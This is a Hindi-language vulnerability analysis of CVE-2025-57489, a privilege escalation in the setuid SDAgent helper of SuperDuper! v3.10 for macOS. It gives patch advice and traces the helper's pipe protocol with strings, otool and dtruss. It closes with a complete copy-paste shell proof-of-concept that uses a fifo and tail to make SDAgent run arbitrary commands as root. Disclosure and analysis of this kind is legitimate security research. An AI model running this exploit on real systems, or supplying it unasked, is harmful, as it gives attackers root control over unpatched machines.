
CVE-2025-57489 के लिए तकनीकी विश्लेषण और proof-of-concept exploit, जो SuperDuper! v3.10 में improper setuid binary design के माध्यम से एक privilege escalation vulnerability है, जो arbitrary root command execution को सक्षम बनाता है।
डेवलपर के ब्लॉग से:
जब SuperDuper में लॉक को अनलॉक किया जाता है ताकि प्रशासक पासवर्ड दर्ज किए बिना निष्पादन हो सके, तो कोई तृतीय-पक्ष प्रोग्राम प्रशासक विशेषाधिकारों के साथ बैकअप के अलावा कुछ और चलाने के लिए हमारे प्राधिकरण का उपयोग कर सकता है।
CVE विवरण:
Shirt Pocket SuperDuper! v3.10 के SDAgent घटक में गलत पहुँच नियंत्रण, setuid बाइनरी के अनुचित उपयोग के कारण हमलावरों को रूट तक विशेषाधिकार बढ़ाने की अनुमति देता है।
यह लेखक भेद्यता का खोजकर्ता नहीं है, जिसे SuperDuper डेवलपर द्वारा "अनाम सुरक्षा शोधकर्ता" के रूप में पहचाना गया है। मैं इस भेद्यता की खोज का कोई श्रेय नहीं लेता, मुझे बस इसका तकनीकी विश्लेषण करने में कुछ रुचि थी।
CVSS 3.1 स्कोर: 8.1: उच्च (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
इस भेद्यता से बचने के लिए, या तो SuperDuper! एप्लिकेशन को हटा दें, या 3.11 अद्यतन लागू करें।
चेतावनी: CVE-2025-61228 भेद्यता से बचने के लिए आपको डेवलपर की वेबसाइट से सीधे अद्यतन डाउनलोड करना होगा।
यह शोषण विश्लेषण और अवधारणा का प्रमाण केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग अपने जोखिम पर करें।
SuperDuper! एप्लिकेशन का SDAgent घटक एक setuid बाइनरी है। खराब डिज़ाइन/कार्यान्वयन के कारण, SDAgent केवल किसी अन्य एप्लिकेशन द्वारा अनुरोधित शेल कमांड निष्पादित करने के लिए मौजूद है, और SDAgent अनुरोध करने वाले एप्लिकेशन का कोई सत्यापन नहीं करता है, न ही यह किसी प्रकार के शेल कमांड का अनुरोध किया जा सकता है, इस पर कोई गार्डरेल लागू करता है। परिणामस्वरूप, हमलावर SDAgent टूल के प्रभावित संस्करणों को रूट विशेषाधिकारों के साथ कोई भी शेल कमांड चलाने के लिए प्राप्त कर सकते हैं। डेवलपर का फिक्स केवल SDAgent की अनुरोधकर्ता को सत्यापित करने में विफलता को संबोधित करता है, यह "कठपुतली" सहायक टूल डिज़ाइन को संबोधित नहीं करता है, जिससे एजेंट भविष्य के हमलों के लिए संभावित रूप से कमजोर रहता है।
डेवलपर द्वारा इस मुद्दे का विवरण अस्पष्ट था, लेकिन "जब SuperDuper में लॉक अनलॉक होता है" टिप्पणी ने मुझे काफी जल्दी सही दिशा में इंगित किया। SuperDuper के पुराने (अभी भी कमजोर) संस्करण से शुरू करके, मैंने उस लॉक आइकन पर क्लिक किया और प्रमाणित किया। Activity Monitor में, मैंने देखा कि SuperDuper से संबंधित एक नई प्रक्रिया दिखाई दी – SDAgent। मैंने SuperDuper बंडल फ़ाइल में इस घटक को पाया और टर्मिनल में इसके गुणों को देखा। लॉक को बंद/चालू करने के बाद, मैंने देखा कि SDAgent फ़ाइल एक setuid बाइनरी है जब भी लॉक अनलॉक होता है। उस गुण और फ़ाइल के नाम को देखते हुए, मैंने निष्कर्ष निकाला कि यह एक "विशेषाधिकार प्राप्त सहायक उपकरण" होना चाहिए, हालांकि यह उस उद्देश्य के लिए थोड़ा छोटा लग रहा था।
Setuid विशेषाधिकार वृद्धि का एक बहुत पुराना रूप है, और आमतौर पर आप या तो अपने सभी "रूट की आवश्यकता" कार्यक्षमता को "सहायक" टूल में बनाते हैं और बस इसे अपना काम करने के लिए कहते हैं, या आप एक संचार पथ विकसित करते हैं जो क्लाइंट एप्लिकेशन को सहायक टूल से विशिष्ट अनुरोध करने की अनुमति देता है। लेकिन यह देखते हुए कि यह SDAgent फ़ाइल कितनी छोटी है (केवल 137KB), यह संभावना नहीं लगती कि इसमें वह सारा रूट-आवश्यक कोड है जो यह एप्लिकेशन करने का दावा करता है। मेरी जिज्ञासा बढ़ी, मैंने यह जानने के लिए SDAgent पर "strings" उपयोगिता चलाई कि यह क्या करने वाला है। यह बहुत ही ज्ञानवर्धक निकला। वस्तुतः कोई आउटपुट नहीं था (जो आप सामान्यतः किसी एप्लिकेशन बाइनरी के लिए देखते हैं, उसकी तुलना में), और आउटपुट मूल रूप से बताता है कि SDAgent का केवल एक कार्य है: अनुरोधकर्ता द्वारा प्रदान की गई किसी भी शेल स्क्रिप्ट को निष्पादित करना, जैसे:
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
एक सहायक टूल बनाना खराब डिज़ाइन है जो वस्तुतः किसी भी कमांड को चलाएगा; "कठपुतली मत बनो" एक सहायक टूल बनाते समय पालन करने का एक महत्वपूर्ण नियम है।
मैंने इस धारणा के साथ आगे बढ़ा कि SuperDuper को SDAgent खोलना होगा, एक संचार पाइप स्थापित करना होगा, फिर SDAgent को शेल स्क्रिप्ट भेजनी होगी। SuperDuper एप्लिकेशन बंडल में थोड़ी सी टटोलने से पता चला कि मैं सही रास्ते पर था। यह एप्लिकेशन अपनी सभी कॉपी गतिविधि शेल स्क्रिप्ट के माध्यम से प्रशासित करता प्रतीत होता है।
मैंने एजेंट को कमांड पाइप करने के कुछ कमजोर प्रयास किए:
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgent क्रैश हो गया, मुझे लगता है कि यह इतना आसान नहीं होगा! निराश नहीं, मैंने setuid सहायक ऐप्स आमतौर पर कैसे काम करते हैं, इसके आधार पर कुछ अनुमान लगाने शुरू कर दिए। शेल उपयोगिताओं की एक जोड़ी के बीच, आप आमतौर पर stdin, stdout और stderr के लिए कुछ पाइप बनाते हैं, फिर fork और exec करते हैं। चाइल्ड प्रक्रिया प्रत्येक पाइप की एक प्रतिलिपि प्राप्त करेगी, इसलिए प्रत्येक पक्ष के पास स्वचालित रूप से दूसरे के लिए संचार पाइप खुले होंगे। उच्च-स्तरीय फ्रेमवर्क से जुड़ने वाले एप्लिकेशन के साथ, fork() एक विकल्प नहीं है। इसके बजाय, आपको चाइल्ड एप्लिकेशन को यह बताने का एक तरीका विकसित करना होगा कि आप इसके साथ कैसे संवाद करने का इरादा रखते हैं। "strings" आउटपुट ने एक सुराग दिया:
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
"STDIN_PIPE_READ_FD" – डेवलपर यहाँ क्या हो रहा है, इस बारे में बहुत पारदर्शी है। हम otool से इस स्ट्रिंग पर थोड़ा और संदर्भ प्राप्त कर सकते हैं:
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
ठीक है, तो यह शायद एक पर्यावरण चर है। आइए फिर से आसान पाइप हैक का प्रयास करें, और मैं यह मानने जा रहा हूँ कि SDAgent बस अपने stdin फ़ाइल डिस्क्रिप्टर (0) से मेरे कमांड प्राप्त करेगा:
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
कुछ दोहराव के बाद यह स्पष्ट था कि "1557" स्पॉन किए गए SDAgent की प्रक्रिया आईडी थी। बहुत मददगार नहीं (और वह "रूट" आउटपुट नहीं जिसकी मुझे उम्मीद थी), लेकिन इस बार यह क्रैश नहीं हुआ, इसलिए यह उत्साहजनक था। मैंने फिर से कुछ ऐसा प्रयास किया जो फाइलसिस्टम परिवर्तन करेगा:
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
नहीं, फ़ाइल नहीं बनी; अब आस्तीन चढ़ाने का समय है। मैंने SIP अक्षम किया, dtruss शुरू किया और SuperDuper से एक कार्य चलाने के लिए कहा। कार्य शुरू करने के लिए प्रमाणीकरण करने के ठीक बाद, मैंने dtruss से निम्नलिखित आउटपुट देखा (SDAgent प्रक्रिया से जुड़ा हुआ):
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgent प्रारंभ में इनपुट के लिए फ़ाइल डिस्क्रिप्टर 0 (stdin) से पढ़ता है (संभवतः जो भी FD STDIN_PIPE_READ_FD द्वारा इंगित किया गया है)। यहाँ हम इसे तीन संख्याएँ पढ़ते हुए देखते हैं। अनुक्रम के आधार पर, मैं अनुमान लगा रहा हूँ कि SuperDuper ने तीन पाइप खोले, और वह उन तीन पाइपों के राइट, राइट और रीड सिरों को SDAgent को भेज रहा है। SDAgent तब पहले दो को stdout और stderr पर डुप करता है (मैं नहीं बता सकता कि तीसरा किसके लिए उपयोग किया जाता है)। अंत में, यह stdout पर "1615" (वर्तमान SDAgent pid) लिखता है (तो अब SuperDuper को SDAgent pid पता है), फिर fd 0 पर अतिरिक्त कमांड सुनता है। कुछ परीक्षण और त्रुटि के बाद, यह स्पष्ट था कि हमें SDAgent को कुछ फ़ाइल डिस्क्रिप्टर भेजने की आवश्यकता है, इससे पहले कि वह हमारी बात माने। stdout (1) और stderr (2) शेल वातावरण में पहले से ही खुले और लिखने योग्य होंगे, इसलिए मैंने उन्हें आज़माया:
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
फिर से, क्रैश नहीं हो रहा, लेकिन एक उत्सुक किशोर की तरह, SDAgent जल्दी खत्म कर रहा है और मुझे वह "रूट" परिणाम नहीं मिल रहा जिसकी मुझे उम्मीद है। dtruss दिखाता है कि यह फ़ाइल डिस्क्रिप्टर पढ़ रहा है, लेकिन बाकी को अनदेखा कर रहा है। यह अशक्त स्ट्रिंग टर्मिनेटर को देखते हुए आश्चर्यजनक नहीं है, हमें शायद इन स्ट्रिंग्स के बीच एक अंतर चाहिए ताकि SDAgent उन्हें अलग-अलग अनुरोधों के रूप में माने। इसलिए हमें SDAgent को एक पाइप से जोड़ने की आवश्यकता होगी जिसमें हम एक से अधिक बार लिख सकें।
इस बिंदु पर मैं एक सरल C एप्लिकेशन लिख सकता था जो कुछ पाइप खोलता है, SDAgent को फोर्क करता है, stdin पाइप को फ़ाइल डिस्क्रिप्टर लिखता है, फिर थोड़ी देर रुकने के बाद अपने तर्क (यानी हमले का पेलोड) को चलाने के लिए पाइप पर भेजता है। जैसे ही मैंने वह कोड लिखना शुरू किया, मुझे एहसास हुआ कि मैं संकलित कोड की उन 50+ पंक्तियों की सभी कार्यक्षमता को सरल शेल कमांड की एक जोड़ी में प्राप्त कर सकता हूँ। मुझे वास्तव में केवल SDAgent प्रक्रिया के लिए एक पाइप स्थापित करने और खुला रखने का एक तरीका चाहिए। "mkfifo" इस उद्देश्य के लिए उपयुक्त होगा: fifos डिस्क पर फ़ाइलों के रूप में मौजूद होते हैं, लेकिन आप उन पर पाइप फिट कर सकते हैं। एक तरफ, हमें कुछ ऐसा चाहिए जो fifo से पढ़े, फिर उस सामग्री को पाइप के दूसरी तरफ SDAgent को दोहराए। मुझे शुरू में पाइप पर फ़ाइल डिस्क्रिप्टर लिखने की आवश्यकता है, लेकिन मुझे पाइप को खुला रखने की भी आवश्यकता है ताकि मैं पेलोड कमांड भेज सकूं। यदि पाइप के किसी भी तरफ की प्रक्रिया बाहर निकलती है, तो पाइप बंद हो जाता है। tail उपयोगिता और बैकग्राउंड ऑपरेटर सहायक थे:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
उसने दो पृष्ठभूमि कार्यों को जन्म दिया: tail (1964) और SDAgent (1965)। दोनों प्रक्रियाएँ पृष्ठभूमि में चलती रहती हैं, इसलिए उनके बीच का पाइप बना रहता है। tail डेटा के fifo में जोड़े जाने की प्रतीक्षा कर रहा है, और फिर उस डेटा को SDAgent को पाइप करेगा। बहुत ही सरल। इसके बाद, फ़ाइल डिस्क्रिप्टर भेजें:
printf "1 2 \0" > /tmp/puppet
dtruss ने दिखाया कि SDAgent ने फ़ाइल डिस्क्रिप्टर पढ़ लिए और SDAgent अभी भी चल रहा है, और अधिक इनपुट की प्रतीक्षा कर रहा है। अब सच्चाई का क्षण:
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
यह काम कर गया! फिर से?
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
बस इतना ही! जब मैंने सब कुछ शेल कमांड के एकल कॉपी/पेस्ट ब्लॉब में एक साथ रखा, तो मैं अभी भी SDAgent को फ़ाइल डिस्क्रिप्टर को संसाधित करने में थोड़ा धीमा पा रहा था। एक छोटी देरी, और हम सुनहरे हैं:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
रूट एक्सप्लॉइट के रूप में, यह आश्चर्यजनक रूप से खोजना आसान था और हमलावर के लिए इसका लाभ उठाना वास्तव में आसान है।